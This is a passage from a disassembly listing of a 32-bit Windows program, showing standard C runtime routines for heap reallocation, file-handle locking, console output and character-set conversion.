loc_40B7E3: ; CODE XREF: sub_40B7A2+169j xor edi, edi mov [ebp+var_1C], edi cmp esi, 0FFFFFFE0h ja loc_40B97B push 4 call sub_405121 pop ecx mov [ebp+ms_exc.disabled], edi push ebx call sub_40519A pop ecx mov [ebp+var_20], eax cmp eax, edi jz loc_40B8AC cmp esi, dword_413B94 ja short loc_40B85F push esi push ebx push eax call sub_40568F add esp, 0Ch test eax, eax jz short loc_40B82A mov [ebp+var_1C], ebx jmp short loc_40B85F ; --------------------------------------------------------------------------- loc_40B82A: ; CODE XREF: sub_40B7A2+81j push esi call sub_40596E pop ecx mov [ebp+var_1C], eax cmp eax, edi jz short loc_40B85F mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_40B842 mov eax, esi loc_40B842: ; CODE XREF: sub_40B7A2+9Cj push eax push ebx push [ebp+var_1C] call sub_403BE0 push ebx call sub_40519A mov [ebp+var_20], eax push ebx push eax call sub_4051C5 add esp, 18h loc_40B85F: ; CODE XREF: sub_40B7A2+72j ; sub_40B7A2+86j ... cmp [ebp+var_1C], edi jnz short loc_40B8AC cmp esi, edi jnz short loc_40B86E xor esi, esi inc esi mov [ebp+arg_4], esi loc_40B86E: ; CODE XREF: sub_40B7A2+C4j add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push edi push dword_41157C call dword_40D0F8 ; RtlAllocateHeap mov [ebp+var_1C], eax cmp eax, edi jz short loc_40B8AC mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_40B896 mov eax, esi loc_40B896: ; CODE XREF: sub_40B7A2+F0j push eax push ebx push [ebp+var_1C] call sub_403BE0 push ebx push [ebp+var_20] call sub_4051C5 add esp, 14h loc_40B8AC: ; CODE XREF: sub_40B7A2+66j ; sub_40B7A2+C0j ... mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40B8E6 cmp [ebp+var_20], 0 jnz short loc_40B8EF test esi, esi jnz short loc_40B8C3 inc esi loc_40B8C3: ; CODE XREF: sub_40B7A2+11Ej add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push ebx push 0 push dword_41157C call dword_40D13C ; RtlReAllocateHeap mov edi, eax jmp short loc_40B8F2 sub_40B7A2 endp ; =============== S U B R O U T I N E ======================================= sub_40B8E0 proc near ; DATA XREF: seg001:0040E778o mov esi, [ebp+0Ch] mov ebx, [ebp+8] sub_40B8E0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B8E6 proc near ; CODE XREF: sub_40B7A2+111p push 4 call sub_405049 pop ecx retn sub_40B8E6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40B7A2 loc_40B8EF: ; CODE XREF: sub_40B7A2+11Aj mov edi, [ebp+var_1C] loc_40B8F2: ; CODE XREF: sub_40B7A2+13Cj test edi, edi jnz loc_40B9B9 cmp dword_411898, edi jz short loc_40B92E push esi call sub_405F45 pop ecx test eax, eax jnz loc_40B7E3 call sub_403F8F cmp [ebp+var_20], edi jnz short loc_40B987 loc_40B91B: ; CODE XREF: sub_40B7A2+1F8j mov esi, eax call dword_40D050 ; RtlGetLastWin32Error push eax call sub_403F54 pop ecx mov [esi], eax jmp short loc_40B98D ; --------------------------------------------------------------------------- loc_40B92E: ; CODE XREF: sub_40B7A2+15Ej test edi, edi jnz loc_40B9B9 call sub_403F8F cmp [ebp+var_20], edi jz short loc_40B9A8 mov dword ptr [eax], 0Ch jmp short loc_40B9B9 ; --------------------------------------------------------------------------- loc_40B948: ; CODE XREF: sub_40B7A2+1D7j test esi, esi jnz short loc_40B94D inc esi loc_40B94D: ; CODE XREF: sub_40B7A2+1A8j push esi push ebx push 0 push dword_41157C call dword_40D13C ; RtlReAllocateHeap mov edi, eax test edi, edi jnz short loc_40B9B9 cmp dword_411898, eax jz short loc_40B99F push esi call sub_405F45 pop ecx test eax, eax jz short loc_40B995 loc_40B976: ; CODE XREF: sub_40B7A2+3Bj cmp esi, 0FFFFFFE0h jbe short loc_40B948 loc_40B97B: ; CODE XREF: sub_40B7A2+49j push esi call sub_405F45 pop ecx call sub_403F8F loc_40B987: ; CODE XREF: sub_40B7A2+177j mov dword ptr [eax], 0Ch loc_40B98D: ; CODE XREF: sub_40B7A2+2Fj ; sub_40B7A2+18Aj xor eax, eax loc_40B98F: ; CODE XREF: sub_40B7A2+1Cj ; sub_40B7A2+219j call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_40B995: ; CODE XREF: sub_40B7A2+1D2j call sub_403F8F jmp loc_40B91B ; --------------------------------------------------------------------------- loc_40B99F: ; CODE XREF: sub_40B7A2+1C7j test edi, edi jnz short loc_40B9B9 call sub_403F8F loc_40B9A8: ; CODE XREF: sub_40B7A2+19Cj mov esi, eax call dword_40D050 ; RtlGetLastWin32Error push eax call sub_403F54 mov [esi], eax pop ecx loc_40B9B9: ; CODE XREF: sub_40B7A2+152j ; sub_40B7A2+18Ej ... mov eax, edi jmp short loc_40B98F ; END OF FUNCTION CHUNK FOR sub_40B7A2 ; =============== S U B R O U T I N E ======================================= sub_40B9BD proc near ; CODE XREF: sub_40C431+62p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx xor ebx, ebx cmp ecx, ebx push esi push edi jl short loc_40BA25 cmp ecx, dword_413A68 jnb short loc_40BA25 mov esi, ecx and esi, 1Fh imul esi, 38h mov eax, ecx sar eax, 5 lea edi, ds:413A80h[eax*4] mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_40BA25 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_40BA25 cmp dword_4105D0, 1 jnz short loc_40BA1B sub ecx, ebx jz short loc_40BA12 dec ecx jz short loc_40BA0D dec ecx jnz short loc_40BA1B push ebx push 0FFFFFFF4h jmp short loc_40BA15 ; --------------------------------------------------------------------------- loc_40BA0D: ; CODE XREF: sub_40B9BD+46j push ebx push 0FFFFFFF5h jmp short loc_40BA15 ; --------------------------------------------------------------------------- loc_40BA12: ; CODE XREF: sub_40B9BD+43j push ebx push 0FFFFFFF6h loc_40BA15: ; CODE XREF: sub_40B9BD+4Ej ; sub_40B9BD+53j call dword_40D08C ; SetStdHandle loc_40BA1B: ; CODE XREF: sub_40B9BD+3Fj ; sub_40B9BD+49j mov eax, [edi] or dword ptr [esi+eax], 0FFFFFFFFh xor eax, eax jmp short loc_40BA3A ; --------------------------------------------------------------------------- loc_40BA25: ; CODE XREF: sub_40B9BD+Bj ; sub_40B9BD+13j ... call sub_403F8F mov dword ptr [eax], 9 call sub_403FA2 mov [eax], ebx or eax, 0FFFFFFFFh loc_40BA3A: ; CODE XREF: sub_40B9BD+66j pop edi pop esi pop ebx retn sub_40B9BD endp ; =============== S U B R O U T I N E ======================================= sub_40BA3E proc near ; CODE XREF: sub_409C48+17p ; sub_40C2EF+85p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_40BA5E call sub_403FA2 and dword ptr [eax], 0 call sub_403F8F mov dword ptr [eax], 9 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40BA5E: ; CODE XREF: sub_40BA3E+7j push esi xor esi, esi cmp eax, esi jl short loc_40BA87 cmp eax, dword_413A68 jnb short loc_40BA87 mov ecx, eax and eax, 1Fh imul eax, 38h sar ecx, 5 mov ecx, dword_413A80[ecx*4] add eax, ecx test byte ptr [eax+4], 1 jnz short loc_40BAAB loc_40BA87: ; CODE XREF: sub_40BA3E+25j ; sub_40BA3E+2Dj call sub_403FA2 mov [eax], esi call sub_403F8F push esi push esi push esi push esi push esi mov dword ptr [eax], 9 call sub_404E8B add esp, 14h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_40BAAB: ; CODE XREF: sub_40BA3E+47j mov eax, [eax] pop esi retn sub_40BA3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BAAF proc near ; CODE XREF: sub_409CCB+AFp ; sub_40A3AA+7Fp ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_40E780 call __SEH_prolog4 mov edi, [ebp+arg_0] mov eax, edi sar eax, 5 mov esi, edi and esi, 1Fh imul esi, 38h add esi, dword_413A80[eax*4] mov [ebp+var_1C], 1 xor ebx, ebx cmp [esi+8], ebx jnz short loc_40BB16 push 0Ah call sub_405121 pop ecx mov [ebp+ms_exc.disabled], ebx cmp [esi+8], ebx jnz short loc_40BB0A push 0FA0h lea eax, [esi+0Ch] push eax call sub_407B1C pop ecx pop ecx test eax, eax jnz short loc_40BB07 mov [ebp+var_1C], ebx loc_40BB07: ; CODE XREF: sub_40BAAF+53j inc dword ptr [esi+8] loc_40BB0A: ; CODE XREF: sub_40BAAF+3Fj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40BB46 loc_40BB16: ; CODE XREF: sub_40BAAF+2Fj cmp [ebp+var_1C], ebx jz short loc_40BB38 mov eax, edi sar eax, 5 and edi, 1Fh imul edi, 38h mov eax, dword_413A80[eax*4] lea eax, [eax+edi+0Ch] push eax call dword_40D130 ; RtlEnterCriticalSection loc_40BB38: ; CODE XREF: sub_40BAAF+6Aj mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_40BAAF endp ; =============== S U B R O U T I N E ======================================= sub_40BB41 proc near ; DATA XREF: seg001:0040E798o xor ebx, ebx mov edi, [ebp+8] sub_40BB41 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40BB46 proc near ; CODE XREF: sub_40BAAF+62p push 0Ah call sub_405049 pop ecx retn sub_40BB46 endp ; =============== S U B R O U T I N E ======================================= sub_40BB4F proc near ; CODE XREF: sub_409DDA+3p ; sub_40A47C+3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, eax and eax, 1Fh imul eax, 38h sar ecx, 5 mov ecx, dword_413A80[ecx*4] lea eax, [ecx+eax+0Ch] push eax call dword_40D12C ; RtlLeaveCriticalSection retn sub_40BB4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB71 proc near ; CODE XREF: sub_409DE4+2A1p ; sub_409DE4+2C1p var_10 = byte ptr -10h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = word ptr 8 push ebp mov ebp, esp sub esp, 10h mov eax, dword_410440 xor eax, ebp mov [ebp+var_4], eax push esi xor esi, esi cmp dword_411290, esi jz short loc_40BBDA cmp dword_411354, 0FFFFFFFEh jnz short loc_40BB9A call sub_40C1B5 loc_40BB9A: ; CODE XREF: sub_40BB71+22j mov eax, dword_411354 cmp eax, 0FFFFFFFFh jnz short loc_40BBAA loc_40BBA4: ; CODE XREF: sub_40BB71+56j ; sub_40BB71+61j ... or ax, 0FFFFh jmp short loc_40BC1A ; --------------------------------------------------------------------------- loc_40BBAA: ; CODE XREF: sub_40BB71+31j push esi lea ecx, [ebp+var_10] push ecx push 1 lea ecx, [ebp+arg_0] push ecx push eax call dword_40D080 ; WriteConsoleW test eax, eax jnz short loc_40BC27 cmp dword_411290, 2 jnz short loc_40BBA4 call dword_40D050 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_40BBA4 mov dword_411290, esi loc_40BBDA: ; CODE XREF: sub_40BB71+19j push esi push esi push 5 lea eax, [ebp+var_C] push eax push 1 lea eax, [ebp+arg_0] push eax push esi call dword_40D084 ; GetConsoleOutputCP push eax call dword_40D19C ; WideCharToMultiByte mov ecx, dword_411354 cmp ecx, 0FFFFFFFFh jz short loc_40BBA4 push esi lea edx, [ebp+var_10] push edx push eax lea eax, [ebp+var_C] push eax push ecx call dword_40D088 ; WriteConsoleA test eax, eax jz short loc_40BBA4 loc_40BC16: ; CODE XREF: sub_40BB71+C0j mov ax, [ebp+arg_0] loc_40BC1A: ; CODE XREF: sub_40BB71+37j mov ecx, [ebp+var_4] xor ecx, ebp pop esi call sub_403F45 leave retn ; --------------------------------------------------------------------------- loc_40BC27: ; CODE XREF: sub_40BB71+4Dj mov dword_411290, 1 jmp short loc_40BC16 sub_40BB71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC33 proc near ; CODE XREF: sub_40BD46+Ep var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_40BC57 cmp [ebp+arg_8], ebx jz short loc_40BC57 cmp [esi], bl jnz short loc_40BC5D mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_40BC57 mov [eax], bx loc_40BC57: ; CODE XREF: sub_40BC33+Fj ; sub_40BC33+14j ... xor eax, eax loc_40BC59: ; CODE XREF: sub_40BC33+5Aj ; sub_40BC33+BBj ... pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40BC5D: ; CODE XREF: sub_40BC33+18j push [ebp+arg_C] lea ecx, [ebp+var_10] call sub_4048C8 mov eax, [ebp+var_10] cmp [eax+14h], ebx jnz short loc_40BC8F mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_40BC7E movzx cx, byte ptr [esi] mov [eax], cx loc_40BC7E: ; CODE XREF: sub_40BC33+42j ; sub_40BC33+10Bj cmp [ebp+var_4], bl jz short loc_40BC8A mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_40BC8A: ; CODE XREF: sub_40BC33+4Ej xor eax, eax inc eax jmp short loc_40BC59 ; --------------------------------------------------------------------------- loc_40BC8F: ; CODE XREF: sub_40BC33+3Bj lea eax, [ebp+var_10] push eax movzx eax, byte ptr [esi] push eax call sub_40A886 test eax, eax pop ecx pop ecx jz short loc_40BD1F mov eax, [ebp+var_10] mov ecx, [eax+0ACh] cmp ecx, 1 jle short loc_40BCD5 cmp [ebp+arg_8], ecx jl short loc_40BCD5 xor edx, edx cmp [ebp+arg_0], ebx setnz dl push edx push [ebp+arg_0] push ecx push esi push 9 push dword ptr [eax+4] call dword_40D0F0 ; MultiByteToWideChar test eax, eax mov eax, [ebp+var_10] jnz short loc_40BCE5 loc_40BCD5: ; CODE XREF: sub_40BC33+7Bj ; sub_40BC33+80j mov ecx, [ebp+arg_8] cmp ecx, [eax+0ACh] jb short loc_40BD00 cmp [esi+1], bl jz short loc_40BD00 loc_40BCE5: ; CODE XREF: sub_40BC33+A0j cmp [ebp+var_4], bl mov eax, [eax+0ACh] jz loc_40BC59 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh jmp loc_40BC59 ; --------------------------------------------------------------------------- loc_40BD00: ; CODE XREF: sub_40BC33+ABj ; sub_40BC33+B0j ... call sub_403F8F mov dword ptr [eax], 2Ah cmp [ebp+var_4], bl jz short loc_40BD17 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_40BD17: ; CODE XREF: sub_40BC33+DBj or eax, 0FFFFFFFFh jmp loc_40BC59 ; --------------------------------------------------------------------------- loc_40BD1F: ; CODE XREF: sub_40BC33+6Dj xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] mov eax, [ebp+var_10] push 1 push esi push 9 push dword ptr [eax+4] call dword_40D0F0 ; MultiByteToWideChar test eax, eax jnz loc_40BC7E jmp short loc_40BD00 sub_40BC33 endp ; =============== S U B R O U T I N E ======================================= sub_40BD46 proc near ; CODE XREF: sub_409DE4+18Ep ; sub_409DE4+1BCp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_40BC33 add esp, 10h retn sub_40BD46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD5D proc near ; CODE XREF: sub_40A5DF+Ep var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 10h push offset dword_40E7A0 call __SEH_prolog4 xor ebx, ebx mov [ebp+var_1C], ebx push 1 call sub_405121 pop ecx mov [ebp+ms_exc.disabled], ebx push 3 pop edi loc_40BD7C: ; CODE XREF: sub_40BD5D+7Fj mov [ebp+var_20], edi cmp edi, dword_413A60 jge short loc_40BDDE mov esi, edi shl esi, 2 mov eax, dword_412A58 add eax, esi cmp [eax], ebx jz short loc_40BDDB mov eax, [eax] test byte ptr [eax+0Ch], 83h jz short loc_40BDAE push eax call sub_40C273 pop ecx cmp eax, 0FFFFFFFFh jz short loc_40BDAE inc [ebp+var_1C] loc_40BDAE: ; CODE XREF: sub_40BD5D+40j ; sub_40BD5D+4Cj cmp edi, 14h jl short loc_40BDDB mov eax, dword_412A58 mov eax, [esi+eax] add eax, 20h push eax call dword_40D128 ; RtlDeleteCriticalSection mov eax, dword_412A58 push dword ptr [esi+eax] call sub_40405A pop ecx mov eax, dword_412A58 mov [esi+eax], ebx loc_40BDDB: ; CODE XREF: sub_40BD5D+38j ; sub_40BD5D+54j inc edi jmp short loc_40BD7C ; --------------------------------------------------------------------------- loc_40BDDE: ; CODE XREF: sub_40BD5D+28j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40BDF3 mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_40BD5D endp ; =============== S U B R O U T I N E ======================================= sub_40BDF3 proc near ; CODE XREF: sub_40BD5D+88p ; DATA XREF: seg001:0040E7B8o push 1 call sub_405049 pop ecx retn sub_40BDF3 endp ; =============== S U B R O U T I N E ======================================= sub_40BDFC proc near ; CODE XREF: sub_40BE5E+13p ; sub_40C201+33p arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] mov eax, [esi+0Ch] mov ecx, eax and cl, 3 xor ebx, ebx cmp cl, 2 jnz short loc_40BE50 test ax, 108h jz short loc_40BE50 mov eax, [esi+8] push edi mov edi, [esi] sub edi, eax test edi, edi jle short loc_40BE4F push edi push eax push esi call sub_40A6C9 pop ecx push eax call sub_40A3AA add esp, 0Ch cmp eax, edi jnz short loc_40BE48 mov eax, [esi+0Ch] test al, al jns short loc_40BE4F and eax, 0FFFFFFFDh mov [esi+0Ch], eax jmp short loc_40BE4F ; --------------------------------------------------------------------------- loc_40BE48: ; CODE XREF: sub_40BDFC+3Bj or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_40BE4F: ; CODE XREF: sub_40BDFC+25j ; sub_40BDFC+42j ... pop edi loc_40BE50: ; CODE XREF: sub_40BDFC+13j ; sub_40BDFC+19j mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop esi mov eax, ebx pop ebx retn sub_40BDFC endp ; =============== S U B R O U T I N E ======================================= sub_40BE5E proc near ; CODE XREF: sub_40BEA0+69p ; sub_40BEA0+84p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_40BE70 push esi call sub_40BEA0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_40BE70: ; CODE XREF: sub_40BE5E+7j push esi call sub_40BDFC test eax, eax pop ecx jz short loc_40BE80 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_40BE80: ; CODE XREF: sub_40BE5E+1Bj test word ptr [esi+0Ch], 4000h jz short loc_40BE9C push esi call sub_40A6C9 push eax call sub_40C2EF pop ecx pop ecx neg eax sbb eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40BE9C: ; CODE XREF: sub_40BE5E+28j xor eax, eax pop esi retn sub_40BE5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BEA0 proc near ; CODE XREF: sub_40BE5E+Ap ; sub_40BF7A+2p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0040BF53 SIZE 0000001E BYTES push 14h push offset dword_40E7C0 call __SEH_prolog4 xor edi, edi mov [ebp+var_1C], edi mov [ebp+var_24], edi push 1 call sub_405121 pop ecx mov [ebp+ms_exc.disabled], edi xor esi, esi loc_40BEC1: ; CODE XREF: sub_40BEA0+9Bj mov [ebp+var_20], esi cmp esi, dword_413A60 jge loc_40BF53 mov eax, dword_412A58 lea eax, [eax+esi*4] cmp [eax], edi jz short loc_40BF3A mov eax, [eax] test byte ptr [eax+0Ch], 83h jz short loc_40BF3A push eax push esi call sub_40A63B pop ecx pop ecx xor edx, edx inc edx mov [ebp+ms_exc.disabled], edx mov eax, dword_412A58 mov eax, [eax+esi*4] mov ecx, [eax+0Ch] test cl, 83h jz short loc_40BF32 cmp [ebp+arg_0], edx jnz short loc_40BF19 push eax call sub_40BE5E pop ecx cmp eax, 0FFFFFFFFh jz short loc_40BF32 inc [ebp+var_1C] jmp short loc_40BF32 ; --------------------------------------------------------------------------- loc_40BF19: ; CODE XREF: sub_40BEA0+66j cmp [ebp+arg_0], edi jnz short loc_40BF32 test cl, 2 jz short loc_40BF32 push eax call sub_40BE5E pop ecx cmp eax, 0FFFFFFFFh jnz short loc_40BF32 or [ebp+var_24], eax loc_40BF32: ; CODE XREF: sub_40BEA0+61j ; sub_40BEA0+72j ... mov [ebp+ms_exc.disabled], edi call sub_40BF42 loc_40BF3A: ; CODE XREF: sub_40BEA0+3Aj ; sub_40BEA0+42j inc esi jmp short loc_40BEC1 sub_40BEA0 endp ; =============== S U B R O U T I N E ======================================= sub_40BF3D proc near ; DATA XREF: seg001:0040E7E4o xor edi, edi mov esi, [ebp-20h] sub_40BF3D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40BF42 proc near ; CODE XREF: sub_40BEA0+95p mov eax, dword_412A58 push dword ptr [eax+esi*4] push esi call sub_40A69F pop ecx pop ecx retn sub_40BF42 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40BEA0 loc_40BF53: ; CODE XREF: sub_40BEA0+2Aj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40BF71 cmp [ebp+arg_0], 1 mov eax, [ebp+var_1C] jz short loc_40BF6B mov eax, [ebp+var_24] loc_40BF6B: ; CODE XREF: sub_40BEA0+C6j call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_40BEA0 ; =============== S U B R O U T I N E ======================================= sub_40BF71 proc near ; CODE XREF: sub_40BEA0+BAp ; DATA XREF: seg001:0040E7D8o push 1 call sub_405049 pop ecx retn sub_40BF71 endp ; =============== S U B R O U T I N E ======================================= sub_40BF7A proc near ; CODE XREF: sub_40A5DFp push 1 call sub_40BEA0 pop ecx retn sub_40BF7A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40BF90 proc near ; CODE XREF: sub_40AD4B+F3p ; sub_40AD4B+1B1p ... arg_0 = byte ptr 4 push ecx lea ecx, [esp+4+arg_0] sub ecx, eax and ecx, 0Fh add eax, ecx sbb ecx, ecx or eax, ecx pop ecx jmp sub_4047F0 sub_40BF90 endp ; --------------------------------------------------------------------------- push ecx lea ecx, [esp+8] sub ecx, eax and ecx, 7 add eax, ecx sbb ecx, ecx or eax, ecx pop ecx jmp sub_4047F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFBC proc near ; CODE XREF: sub_40AD4B+25Ap ; sub_40B130+150p var_C = byte ptr -0Ch var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_410440 xor eax, ebp mov [ebp+var_4], eax push 6 lea eax, [ebp+var_C] push eax push 1004h push [ebp+arg_0] mov [ebp+var_6], 0 call dword_40D0A0 ; GetLocaleInfoA test eax, eax jnz short loc_40BFED or eax, 0FFFFFFFFh jmp short loc_40BFF7 ; --------------------------------------------------------------------------- loc_40BFED: ; CODE XREF: sub_40BFBC+2Aj lea eax, [ebp+var_C] push eax call sub_40454B pop ecx loc_40BFF7: ; CODE XREF: sub_40BFBC+2Fj mov ecx, [ebp+var_4] xor ecx, ebp call sub_403F45 leave retn sub_40BFBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C003 proc near ; CODE XREF: sub_40AD4B+285p ; sub_40AD4B+336p ... var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 34h mov eax, dword_410440 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_8] mov ecx, [ebp+arg_10] mov [ebp+var_28], eax mov eax, [ebp+arg_C] push ebx mov [ebp+var_30], eax mov eax, [eax] push esi mov [ebp+var_24], eax mov eax, [ebp+arg_0] push edi xor edi, edi cmp eax, [ebp+arg_4] mov [ebp+var_34], ecx mov [ebp+var_20], edi mov [ebp+var_2C], edi jz loc_40C1A0 mov esi, dword_40D180 lea ecx, [ebp+var_18] push ecx push eax call esi ; GetCPInfo test eax, eax mov ebx, dword_40D0F0 jz short loc_40C0B6 cmp [ebp+var_18], 1 jnz short loc_40C0B6 lea eax, [ebp+var_18] push eax push [ebp+arg_4] call esi ; GetCPInfo test eax, eax jz short loc_40C0B6 cmp [ebp+var_18], 1 jnz short loc_40C0B6 mov esi, [ebp+var_24] cmp esi, 0FFFFFFFFh mov [ebp+var_2C], 1 jnz short loc_40C08C push [ebp+var_28] call sub_404F20 mov esi, eax pop ecx inc esi loc_40C08C: ; CODE XREF: sub_40C003+7Bj cmp esi, edi loc_40C08E: ; CODE XREF: sub_40C003+C6j jle short loc_40C0EB cmp esi, 7FFFFFF0h ja short loc_40C0EB lea eax, [esi+esi+8] cmp eax, 400h ja short loc_40C0D2 call sub_40BF90 mov eax, esp cmp eax, edi jz short loc_40C0E6 mov dword ptr [eax], 0CCCCh jmp short loc_40C0E3 ; --------------------------------------------------------------------------- loc_40C0B6: ; CODE XREF: sub_40C003+53j ; sub_40C003+59j ... push edi push edi push [ebp+var_24] push [ebp+var_28] push 1 push [ebp+arg_0] call ebx ; MultiByteToWideChar mov esi, eax cmp esi, edi jnz short loc_40C08E loc_40C0CB: ; CODE XREF: sub_40C003+EEj xor eax, eax jmp loc_40C1A3 ; --------------------------------------------------------------------------- loc_40C0D2: ; CODE XREF: sub_40C003+9Ej push eax call sub_403B17 cmp eax, edi pop ecx jz short loc_40C0E6 mov dword ptr [eax], 0DDDDh loc_40C0E3: ; CODE XREF: sub_40C003+B1j add eax, 8 loc_40C0E6: ; CODE XREF: sub_40C003+A9j ; sub_40C003+D8j mov [ebp+var_1C], eax jmp short loc_40C0EE ; --------------------------------------------------------------------------- loc_40C0EB: ; CODE XREF: sub_40C003:loc_40C08Ej ; sub_40C003+93j mov [ebp+var_1C], edi loc_40C0EE: ; CODE XREF: sub_40C003+E6j cmp [ebp+var_1C], edi jz short loc_40C0CB lea eax, [esi+esi] push eax push edi push [ebp+var_1C] call sub_403FE0 add esp, 0Ch push esi push [ebp+var_1C] push [ebp+var_24] push [ebp+var_28] push 1 push [ebp+arg_0] call ebx ; MultiByteToWideChar test eax, eax jz short loc_40C197 mov ebx, [ebp+var_34] cmp ebx, edi jz short loc_40C13C push edi push edi push [ebp+arg_14] push ebx push esi push [ebp+var_1C] push edi push [ebp+arg_4] call dword_40D19C ; WideCharToMultiByte test eax, eax jz short loc_40C197 mov [ebp+var_20], ebx jmp short loc_40C197 ; --------------------------------------------------------------------------- loc_40C13C: ; CODE XREF: sub_40C003+11Aj cmp [ebp+var_2C], edi mov ebx, dword_40D19C jnz short loc_40C15B push edi push edi push edi push edi push esi push [ebp+var_1C] push edi push [ebp+arg_4] call ebx ; WideCharToMultiByte mov esi, eax cmp esi, edi jz short loc_40C197 loc_40C15B: ; CODE XREF: sub_40C003+142j push esi push 1 call sub_409363 cmp eax, edi pop ecx pop ecx mov [ebp+var_20], eax jz short loc_40C197 push edi push edi push esi push eax push esi push [ebp+var_1C] push edi push [ebp+arg_4] call ebx ; WideCharToMultiByte cmp eax, edi jnz short loc_40C18C push [ebp+var_20] call sub_40405A pop ecx mov [ebp+var_20], edi jmp short loc_40C197 ; --------------------------------------------------------------------------- loc_40C18C: ; CODE XREF: sub_40C003+179j cmp [ebp+var_24], 0FFFFFFFFh jz short loc_40C197 mov ecx, [ebp+var_30] mov [ecx], eax loc_40C197: ; CODE XREF: sub_40C003+113j ; sub_40C003+132j ... push [ebp+var_1C] call sub_40AB04 pop ecx loc_40C1A0: ; CODE XREF: sub_40C003+38j mov eax, [ebp+var_20] loc_40C1A3: ; CODE XREF: sub_40C003+CAj lea esp, [ebp-40h] pop edi pop esi pop ebx mov ecx, [ebp+var_4] xor ecx, ebp call sub_403F45 leave retn sub_40C003 endp ; =============== S U B R O U T I N E ======================================= sub_40C1B5 proc near ; CODE XREF: sub_40BB71+24p xor eax, eax push eax push eax push 3 push eax push 3 push 40000000h push offset aConout ; "CONOUT$" call dword_40D0E8 ; CreateFileA mov dword_411354, eax retn sub_40C1B5 endp ; =============== S U B R O U T I N E ======================================= sub_40C1D4 proc near ; DATA XREF: seg001:0040D248o mov eax, dword_411354 cmp eax, 0FFFFFFFFh push esi mov esi, dword_40D0D0 jz short loc_40C1ED cmp eax, 0FFFFFFFEh jz short loc_40C1ED push eax call esi ; CloseHandle loc_40C1ED: ; CODE XREF: sub_40C1D4+Fj ; sub_40C1D4+14j mov eax, dword_411350 cmp 